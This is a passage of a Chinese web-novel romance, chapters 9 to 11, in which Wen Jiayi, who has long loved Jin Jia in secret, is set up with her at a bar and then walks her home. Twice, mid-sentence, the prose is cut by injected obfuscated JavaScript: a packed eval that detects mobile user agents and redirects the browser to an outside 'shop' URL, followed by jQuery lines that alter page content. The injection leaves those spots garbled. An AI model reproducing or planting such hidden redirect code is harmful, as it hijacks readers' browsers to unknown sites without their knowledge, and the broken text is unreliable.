她们不算陌生人,但也没熟络到哪去,闻加一还是有点拘着,原先的横条纹衬衫,换成了竖条纹,不过里面的工字背心却还是黑色的。
走过来,穿过喧闹人群,《黄淮》里那句你是我患得患失的梦,竟无意间也配合起了闻加一的步调,将她渲染的也好似梦中人般缥缈起来,总之与这个寻欢作乐的地方格格不入。
惹得周遭的旁人也不由朝她多看了那么几眼。
靳迦歪着脑袋,嘴唇含住瓶口,目光幽幽一转...舌尖便随着音乐哼起旋律。
闻加一走到卡座前,朝着叶流点了下头,就坐了下来,而她对面的人正是靳迦。
她不说话,靳迦也不说话。
两人之间气氛怪异的紧。
靳迦想到来之前蔚蓝跟她说的话——
“闻加一想要了解你。”
“了解什么?”
“我哪知道,反正叶流是这样说的,你别问了,去了不就知道了。”
这会儿,靳迦朝蔚蓝使了个眼色,蔚蓝又把这眼色投向叶流,言中之意——「你自己揽的事,自己解决。」
叶流领受,她抬眼在靳迦脸上梭巡一番,不得不说,虽然这人头发干枯分叉,脸也面黄肌瘦营养不良,但漂亮也是真漂亮,别说在仪庙这个小地方,就是放在北京...这个长相都不容小觑。
也怪不得...能让闻加一心心念念喜欢了这么多年。
闻加一看见叶流脸上那种似笑非笑的表情,立即生出一股不好的预感,她刚想开口阻拦,却还是晚了一步。
“你是单身吧?”叶流问靳迦。
“是,回来之前刚分的,新鲜热乎~”靳迦回道。
“那正好,她也单身,你看你们单聊,还是咱们群聊?”
靳迦愣了,顿时望向闻加一。
“你是....?”
“她是。”叶流替闻加一作答。
闻加一脸都绿了。
我能去死吗?
10. 死宝贝
「闻加一对暗恋靳阿蛮的初始起点,已经记不清了。
只是在发现这种心思后的很长一段时间里,有非常认真地回想过,但思来想去却都无济于事。
高三第一学年,班上转来了个艺术生,不仅专业课成绩优异,文化课也名列前茅。
人长得漂亮,待人接物又有礼有节,全年级的老师同学没有不喜欢她的。
忽然有一天,闻加一就发现靳阿蛮时不时地总在她们班门口晃悠。
起初,闻加一的心情很紧张,因为靳阿蛮每次蹲守的地方,正好跟她的座位对齐,靳阿蛮一瞬不瞬地目光,令闻加一纠结不安,她想是不是这人察觉到了什么?
可还不等闻加一不安发酵,就又被打入谷底。
靳阿蛮看的不是她,是那个转来的艺术生。
不晓得靳阿蛮用了什么法子,一个星期不到,竟然跟那个艺术生发展到了一起上下学的‘好关系’,平常和靳阿蛮形影不离的蔚蓝,突然间就消失了,那种感觉在闻加一看来,就像是专门为了腾出空间,好让靳阿蛮跟艺术生独处。
闻加一凭着性取向带来的天生细腻,敏锐的感知到这一不同寻常的蛛丝端倪。
她也不明白,自己当初为什么要那样做,或许是不愿相信靳阿蛮喜欢女生,又或许是对小县城的偏见,让她认为...同性取向的偏好,只应该属于寥寥无几的零星,哪会有那么巧的事情,才不过转来了一个艺术生,就那么巧合的喜欢女生?
可闻加一不晓得的是,怀疑的种子一旦埋下,深究的结果,便注定是一场悲剧。
她偷偷跟着靳阿蛮和那个艺术生,回想起来...那种举动就像是一个猥琐变态的偷窥者。
如果,闻加一是个嫉妒心暴炸的坏孩子,告发就能了解一切,但她偏偏是个纯良的好学生,那点不甘嫉妒,远不至于抵达卑劣的程度。
结果就是,闻加一亲眼目睹了靳阿蛮的初恋,她躲在远处,看她们牵手,看她们拥抱。
闻加一一直以来都认为靳阿蛮是个没心没肺的主儿,直到此刻她才明白,之所以不在乎..都是没上心。
靳阿蛮满心满眼都是那个女生,天不亮就出门,只为给女生买一份热乎乎的爱心早餐,天黑才到家,只为能送不顺路的她先回家。就连身上穿的校服,都被靳阿蛮花心思改良过,裤脚和袖口的部位有所收窄,那会儿流行补丁贴,她便用块一模一样地贴在相同的地方,似乎这样一来,就能跟别人区分开来,变成一款情侣装。
闻加一被刺激的瞬间清醒,再不想承认也不行了——靳阿蛮喜欢女生,只是不喜欢自己而已。
后来,凡是有关于靳阿蛮的事情,闻加一都刻意避开,她不仅把靳阿蛮藏了起来,更把自己也藏了起来。
只是,同个学校又同个年级,就算你再怎么躲,难免还是会有顾不周全的漏缝。
那天放学,闻加一不想回家,趴在桌子上写数学卷子,直到整层楼的人几乎都走光,她才慢吞吞收拾书包准备回家,可人还没迈出教室,耳朵一灵,听见了熟悉的声音。
闻加一连忙侧过身子,躲进了墙壁后面。
“我真不明白你到底喜欢她什么?”蔚蓝环着胳膊,她不喜欢那个艺术生,也不赞成靳阿蛮跟她谈恋爱,她觉得那姑娘漂亮没错,但从来只见靳阿蛮给她跑前跑后,却没见一次她为靳阿蛮做什么。
“喜欢一个人不就这样嘛,要是真能说出个所以然,那还是喜欢吗?”
蔚蓝才不信她,肩膀向上一耸——
“你就跟我老实说了吧,是不是占人家便宜了?”
靳阿蛮嘿嘿一笑,这才撂了实话——
“她亲我脸了...初吻。”
“她可害羞了,脖子都红了,当然..我也挺不好意思。”
嘶...
蔚蓝抖了一地鸡皮疙瘩,笑骂了句——靳阿蛮,你真是够了。
待两人走远,躲在墙后的闻加一才走了出来。
长长的走廊,空荡无声,唯有大开的窗户,在暮色四合的傍晚,迎来逢魔的狼狗时刻。
闻加一直勾勾地盯着早已看不见背影,垂目敛眉,声音烟韧——
“靳阿蛮,你个糊涂蛋,你的初吻是我的。”」
——
酒吧灯光昏暗,铅灰色的气流中,只有一股被尴尬烧焦的浓烟气味。
闻加一只恨自己没随身携带一只黑网,好把自己装进去,以此来免于当下这种要死不活的境地。
她只是不想跟靳阿蛮那么陌生,只是想要知道她为什么突然回来,又为什么蹲在路边大哭,希望能通过这样一顿私下的聚会,好摆脱雇佣关系,如果顺利的话,兴许这顿酒喝完,她们会成为朋友也说不定。
可闻加一哪知道,叶流会这么混,直接就把单身的话题撂在桌面,这让靳阿蛮该怎么想自己,先前还一副爱答不理的样子,敢情是存了这样的心思?合着前几次都是欲擒故纵啊?
闻加一的尴尬已经在骨头缝里都拉爆了,说实在的她想立马就走,可要是真走了,那不更坐实了自己心怀鬼胎。
没辙,只能硬着头皮坐在椅子上生挨。
挺大的个子,这会儿却缩着肩膀,低着头,没脸看靳阿蛮一眼。
靳阿蛮呢,方才的惊讶已经烟消云散,取而代之一副友善面孔,嘴角两端像被无形的手指捏住,向上尖尖翘起,一个清纯无害笑容展露无疑,多一分显狂,少一分则僵,中间分寸拿捏地再恰当不过。
叶流觉得挺有意思,心里便对闻加一说靳阿蛮没心没肺的话起了反驳,人家这不挺好嘛,多体贴有面儿啊。
“说真的,我也算是看着你长大吧,你这性子真不错,可惜我就是没再多个妹妹,否则...说什么也得跟你当一家人。”
话音未落,靳阿蛮还没开口,旁边的蔚蓝却迅速飞来一记刀眼——
“你得亏是没再多个妹妹,要不然真倒霉,万一不喜欢女生,还得被你硬逼着转性取向。”
“你也说了是万一,没准儿喜欢呢”
“叶流你杠精吧——”
“我只是做个假设,又不是真的,你急什么。”
两人你一言我一语,谁都不让谁,靳阿蛮怕她俩吵起来,赶忙端起啤酒,打圆场把这茬岔过去——
“来来来,咱们走一个~”
说着,旁边的手还伸出去,在蔚蓝胳膊上拍了拍,以示安抚。
蔚蓝喝了口啤酒,这可不是怕叶流,单纯是给靳阿蛮面子,啤酒一落桌,脸便撇到一边,再不想看叶流一眼。
叶流不以为然,抿嘴一笑,尽是大度。
可靳阿蛮却觉得奇怪...这眼神...
怎么那么宠溺呢?
“刚刚是玩笑话,不当真,不过...我这朋友是真不错。”叶流手一捞,就把闻加一扯了过来。
闻加一想伸手堵她的嘴,可叶流的嘴太快,嘴皮上下一碰,话就全说出口,丁点机会都不给闻加一留。
“身体好,脑袋棒,品行操守更是没得说,也是名校毕业,她报考的那个专业当年在全市拢共才招两个,她是第一名进去的,还没毕业呢,就技术入股当了合伙人...不信你去仪庙打听打听,是个人都知道。”
“你要非给她找个缺点,那可能就是她比你小一岁,今年刚满二十七,不过...这应该也不算什么大问题,毕竟这年头..妹妹更香。”
说罢,叶流的目光还朝着蔚蓝若有似无地掠过一眼。
有病!蔚蓝想刀了她。
闻加一听着叶流嘴上没边,只觉得两眼发黑,她不挣扎了,大概是死透了。
靳迦的目光在闻加一脸上看过,青一阵白一阵,和先前见到她的波澜不惊,完全像是换了一个人。
她对她笑笑,虽然没有恶意,但也还是戏谑难藏。
其实这有什么不好意思呢,单身的年轻人聚在一起,说几句关于午夜寂寞空闺冷的荤话,难道不是再正常不过嘛?况且这才哪到哪儿,真正赤裸的...还远远不足够呢。
闻加一抬头,跟靳阿蛮的笑眼,撞了个正着。
突然站起来。
“哎...你去哪儿?”叶流问道。
“厕所。”
闻加一转身就走,竖条纹的衬衣拢紧,很快消失在几人的视线之中。
叶流敲敲桌子,看热闹不嫌事大——
“她跑不了,就是害羞了,你们先喝着,我去把她揪回来。”
随即,叶流便也朝着闻加一离开的方向走去。
“刚刚真吓到我,我还以为你俩要吵起来呢。”靳迦等叶流走远,扭脸对蔚蓝说道。
“谁跟她吵,浪费口水。”蔚蓝话音一转,跟靳迦抱歉起来,“对不起啊,我真不知道她今天唱这出。”
“傻了吧你,跟我说什么对不起?”靳迦想到先前闻加一尴尬到快要原地爆炸的样子,忍不住笑出声。
见她笑,蔚蓝察觉出了猫腻,语调扬起——
“怎么样?别装,眼睛都笑没了。”
靳阿蛮托起手里的啤酒,指尖在圆润的瓶口悠悠打转——
“我只是在想,她给我改水电到现在还没收过一分钱呢。”
“那你想怎么样?”
“我能怎么样,她不跟我谈钱,我也不好上赶着问啊。”
“撩家啊!”
“怎么说?”
“这还不明摆着,不谈钱就谈情。”
台上的乐队停了,换了个安静点的轻音乐,靳迦喝过几口酒,便也起身去了厕所。
过道灯光很阴暗,靳迦刚走到拐角处,步子就停了下来,她看见闻加一和叶流正站在不远处说话。
两人的声音不大不小,刚好是能听见的程度。
靳迦目光犹豫,停下来的话..有偷听嫌疑,不道德;可要是走...又确实想不道德一回,想听。
叶流把闻加一堵了个正着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353060|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“跑什么?”
“谁跑了,我上个厕所,尿憋。”
“还嘴硬,上厕所你不进去,站在外面瞎晃什么?”
叶流绝对相信,要是自己再来晚点,她就人去影空了。
总算明白,为什么这人喜欢靳迦这么多年,靳迦却连她是谁都不知道,每次在紧要关头就溜号,靳迦又没第三只眼,能发现才活见鬼呢。
“跟我回去。”
闻加一不动身,抬头睨了一眼叶流,眼底情绪晦暗不明,对面是一扇延长到尽头的巨大墙镜。
“我觉得...你误会了...”
“误会什么?”
“我真没想跟她怎么样,我就是不想让大家那么陌生,毕竟都是一个地方的人...”
“我让你跟她谈恋爱了?”叶流不安条理出牌,一句话就将闻加一杀了个回马枪,“不就是年轻人喝顿大酒嘛,合则来不合则散,没这么难吧?除非你心口不一,嘴上说着没想怎么样,实际上心里都准备跟人回家过夜了。”
叶流说话总这样,闻加一都习惯了,没多争辩,只是两只眼睛幽幽扫了眼墙镜,拐角处露出了一个小小的脑袋瓜...
“我想跟她回家过夜,也得人家愿意带我回家才行,她看不上我的。”
“你是指你的家庭还是你这个人?”
“都有,你也说了人家的条件比我好,有房有车有钱,我呢?除了一个拿不出手的家庭,我有什么?”
“别告诉我,你在自卑?”
“我不应该自卑吗?我什么情况她不可能不知道,与其被人点破送上一两句安慰话,还不如我先有点自知之明,免得被人嫌弃。”
听她这样说,叶流觉得很奇怪,因为闻加一从来没真的把自卑两个字说出口过,这人性子倔,自尊心也强,提到家里的事,就算心里再怎么撑不住,面上也不会直白流露,顶多一句习惯了事,这么介意被人看轻的性格,又怎么会突然承认?
“你认真的?”叶流又问了她一句。
“当然”闻加一的话跟不远处消失的身影一起结束。
…
“上完了?”蔚蓝见靳迦回来这么快,下意识地问了句。
“嗯,厕所没什么人。”
靳迦说道。
酒吧里又响起炸耳的摇滚乐,方才的安静瞬间恢复喧嚣,只是靳迦却靠在座椅里,一只手抵在太阳穴,垂着眼皮,不知道在想些什么。
等叶流跟闻加一回来的时候,靳迦又开了瓶酒,若无其事地喝着。
叶流没再像刚刚说些什么暧昧不清又意有所指的话,她正经起来,问了些靳迦往后的打算——是就留在仪庙,还是再去北京,又或者..南京也不错,离得近。
靳迦也没瞒着,她本来就没有长住的打算,只是生了病,需要暂时寻求一个避风港,来放慢快节奏的帝都生活。
至于南京,她肯定不会考虑的,毕竟她那对没心肝的爹妈都在那儿,既然要跟他们划清界限,那物理分割便是最有效的方式,即便偌大的南京相遇的几率微乎其微,可她也不想冒这个风险。
笑了笑——
“肯定是回北京。”
闻加一原本低着头,在听见这句话时,忽的就抬起来眼,好巧不巧,这一抬眼,竟跟靳迦的目光撞在了一起。
还没等她把视线再移开,却又听靳迦说了句——
“当然,暂时是不回的。”
“我打算长住一段时间。”
闻加一挫了下腮帮子,她说不上来自己究竟是什么感觉,她心里失落,因为靳迦早晚要走,但同时又窃喜,因为靳迦那句‘长住一段时间’。
她默默做了个假设,要是自己也能去北京,兴许今天晚上就跟她回家了也说不定。
毕竟十八岁跟二十七岁,还是有很大区别的。
这顿酒喝到最后,两人的目光都没再有任何交集,闻加一拢共也没说上十句话,酒吧昏暗的光线将她隐没在单人沙发里,活像一尊跟巫婆交换好声音的小美人鱼。
闻加一酒量不算小,但今天也不知道怎么回事,才喝了连平时的一半都没到,脑子就晕乎起来。
叶流拦了辆车,送闻加一跟靳迦先走。
车门甫一关上,闻加一兜里的手机就嗡嗡地震了两下,她刚想去看,倏地僵住了身子,在轻闭着眼..睫毛微眯的模糊中,她看见靳阿蛮凑过来的脸,呼吸里热气夹杂酒气,像极了高中时...被她掠夺初吻的情景...
闻加一秉住呼吸,一动不敢动,直到靳迦把脸挪开,她才佯装睡着换姿势,把头偏到了另一边。
靳迦真的以为她喝醉睡着了,于是拿起手机就给蔚蓝发了条语音——
“这个不爱说话的死宝贝,酒量竟然这么差...”
“不过...她蛮可爱的...全身都红了。”
死宝贝?
闻加一的头撞在车玻璃上。
咚!
11. 压抑久了,会变态的
“睡得真死,撞到头也不醒。”
靳迦发了善心,叮嘱司机开慢点,又伸手将闻加一拽了过来,摁着她的头靠在自己肩上。
闻加一抱着胳膊,脸色通红,歪过来的脖颈附着一层火色,她衣领斜敞,从靳迦这个角度看过去,恰好能窥见这人工字背心底下白皙的锁骨,有几缕散落的碎发堪堪搭在上面,被车里昏暗光线映衬的十分随意。
靳迦瞧着这一幕,莫名想到起了村上春树的那篇小说《挪威的森林》——你头发乱了的时候,我会笑笑地替你拨一拨,然后手还留恋地在你发上多待几秒。
她撑在窗玻璃上的手,食指跟拇指来回地摩挲,白净肉粉的指缘嵌合在一起,从窗玻璃上反映出画面。
摇头笑笑——
真是发神经。
闻加一不敢动,鼻尖嗅着靳阿蛮衣服上的香气,紧张却也享受,这是从暗恋靳迦到现在,唯一次离她最近的时刻。
真的不记得我了吗?
真的一点都不记得了吗?
一路装睡到目的地,直到靳阿蛮伸手推她,她才肯把被502胶粘住一般地眼皮睁开,佯装困倦十足的模样,虚拢手指抵在唇边打了个长长地哈欠。
脑子已经彻底清醒,人还是红着。
掏出手机正要扫码付款,被靳阿蛮拦住——
“付过了。”
说完,靳阿蛮就下了车。
今夜星光灿烂,风中有淡淡青草花香,闻加一跟在靳阿蛮身后,看着她的影子在地上摇晃。
心想,要是这条路没有尽头就好了,那便能一直这样和她走下去。
“我把车钱V你。”
“就十块钱。”
靳阿蛮嘴角上翘,有些忍俊不禁,她想起酒吧叶流说的那些话,简直把闻加一夸到天上地下的好,好像这人打着灯笼都难找,一旦过了这村就没这店了。
叶流精明练达,她不说假话,但却会挑钟耳的讲,可靳阿蛮也不是那种没见过世面的小姑娘,三言两语就能被唬住,她夸闻加一的话,都说的是从前,关于现在却丝毫不讲。
不过,靳阿蛮也不在意,这本就是一场年轻人的聚会,又不是真的相亲局,况且就看闻加一全程不吭声的样子,八成也是被叶流给诓了。
闻加一看见靳阿蛮脸上的笑,顿时又把脸扭到一边。
“你别多想。”
“我多想什么?”
靳迦两手揣在兜里,语调轻盈,落在耳朵里很是无所谓。
“倒是你,别多想就行。”
闻加一比她走得快,听这到这话,猛地停下,转身朝她投去一个更加无所谓的表情。
靳迦耳朵尖,她听见这人从鼻腔里发出的一声哼,很明显被轻蔑了。
闻加一没再回应,收回目光,两只脚走的比刚刚走的更快了。
直到,把靳迦送到了老宅门口,她才头也不回地转身离开。
靳迦没着急进去,而是站在门口看着闻加一瘦长背影,孤独又倔强,目光一紧,想到了在厕所门口撞见的那一幕——她说她自卑。
突然心里涌出好些难过来,挺好的一个人,硬生生的被家庭拖累成这样...
唉...
...
虽然今天晚上被叶流的王八拳搅和乱了,但闻加一也不认为没有收获,毕竟她送靳阿蛮回了家不是吗?
相比较高中时代,只敢在她身后偷偷跟着,这个晚上难道不算莫大的惊喜?
都准备要睡了,闻加一才想起来手机里有微信没看,手指在屏幕上轻轻一碰,是叶流——
「与其妄自菲薄,不如先下手为强」
「压抑久了,会变态的」
“你才变态呢!”
闻加一把手机塞进枕头底下,骂了句脏话。
蒙住被子,硬逼自己睡了过去。
——
第二天一早。
靳阿蛮顶着一头乱糟糟的发,从屋子里迷糊出来,手里端着牙刷缸,含了一大口,噗的一声尽数吐在了那颗枯枣树下,再一抬眼,就见闻加一立在大铁门前,走了进来。
“你好早啊...”靳阿蛮揉了揉眼睛,牙刷塞进嘴里来回乱捣,没几下嘴角就溢出了白色的牙膏沫子。
“八点了,也不早了。”闻加一的生活没什么新鲜,只是骨子里养成的生物钟,不管多晚睡,也能在第二天六点就睁眼。
她看着靳阿蛮,见这人半弓着身子,眼圈黑的都乌青了,一大早就是一副有气无力的颓靡模样,所以她这是起得太早,还是根本一夜没睡?
问题来了,她不睡觉..干什么呢?
靳迦并不知道闻加一在打量她,只专注刷牙这件事,她已经因为生病的事情而打理不好自己的头发了,不能再连清新的口气都无法维持,一个牙刷了足足五分钟才结束,漱嘴的时候,吐出来的牙膏沫子都带着血丝。
“这地方好吵是不是?”靳迦把牙刷插在牙缸里,回过身,手撑在腰侧,开口说道。
闻加一抬头看她。
靳迦甩着两条腿,懒懒散散走过来,她身上穿着一条浅色的短袖睡裙,裙摆堪堪遮到膝盖,四月份的天气还处在一个春寒料峭的时节,她这个着装,清爽是清爽,凉也是真的凉。
“我昨天一回来就睡了,外面不知道是什么虫子,窸窸窣窣叫了大半宿,愣是给我吵醒,后来好不容易睡着了,对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353061|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面小夫妻又摔摔打打吵架,闹两个多小时,等我再睡着,天还没亮呢,鸡又开始打鸣...终于熬过鸡叫,好家伙..骑三轮卖豆腐的小贩又开始做生意....拿着打喇叭就喊啊——卖豆腐,新鲜农家的热豆腐——”
靳迦撑在腰上的手,霎时就在脸上抹了一把,苦着一张脸——
“你不知道我这一夜都经历了什么...”
“正常,你听惯了大城市发动机的声音,冷不丁回来过这种乡间小院的生活,肯定得有个磨合期,慢慢来吧...多听听,你就习惯了。”
“所以...你当初刚回来的时候,也睡不着?”
靳迦忽然来了聊天的兴致,又往前走了几步,在闻加一面前停下,她被早晨干燥的冷空气吹得一哆嗦,两只手赶忙拢住胳膊,快速摩擦了好几下。
闻加一眼睛在她身上扫了一下,立马就收了回来,盯着脚下水泥地的裂纹...踩了踩。
“我还行,你没耳塞吗?”
“有,但那东西戴着耳朵疼。”
“那就没办法了。”
闻加一没有想要聊天的心思,她眼尾的余光落在靳迦两条暴露在外面的胳膊和腿,细的就像电线杆,她觉得这人高低是有点毛病,冷的都打哆嗦了,宁可跟自己在这瞎聊,也不回去多穿件衣服。
抑制不住关切之情,又不想流露太多。
于是,在靳迦还滔滔不绝的时候,开口打断——
“你要不要补个回笼觉,或者...穿件衣服。”
靳迦低头一看,才发现自己这身穿着不大体面,刚那风吹得她激灵,皮肤上都起了鸡皮,而且她是刚醒,内衣都还没来得及穿,也不知道是不是太瘦的缘故,胸部大缩水,反倒让她中间那两粒,激凸的格外明显。
都是女的,按道理是不该有什么不好意思,可她俩都喜欢女人,这就有点怪异了...况且昨天晚上才被人攒了场‘相亲局’,自己现在这样颇有点引诱嫌疑,她赶忙收了话,胳膊挡在身前,遮住尴尬。
“回..回笼觉就算了,我去洗把脸,咱们待会儿再聊。”
靳迦扬头一笑,扭身小跑回了屋子。
隔着窗户玻璃,靳迦却停下了步子,她看见闻加一的脸红了,那股透红从腮颊,一路沿着耳朵根,红进了脖子里,就连卷起袖管的两条胳膊,都泛起了粉色...
闻加一摸了摸脸,低了低头,张开嘴深吸了口气...缓缓吐出的时候,眼底都烫红了。
靳迦看着闻加一做完这一系列动作,不知道为什么,有些收不回眼来,她的心尖像是被什么东西拧了一把,然后..垂眸望向自己胸前的凸起...
她...害羞了。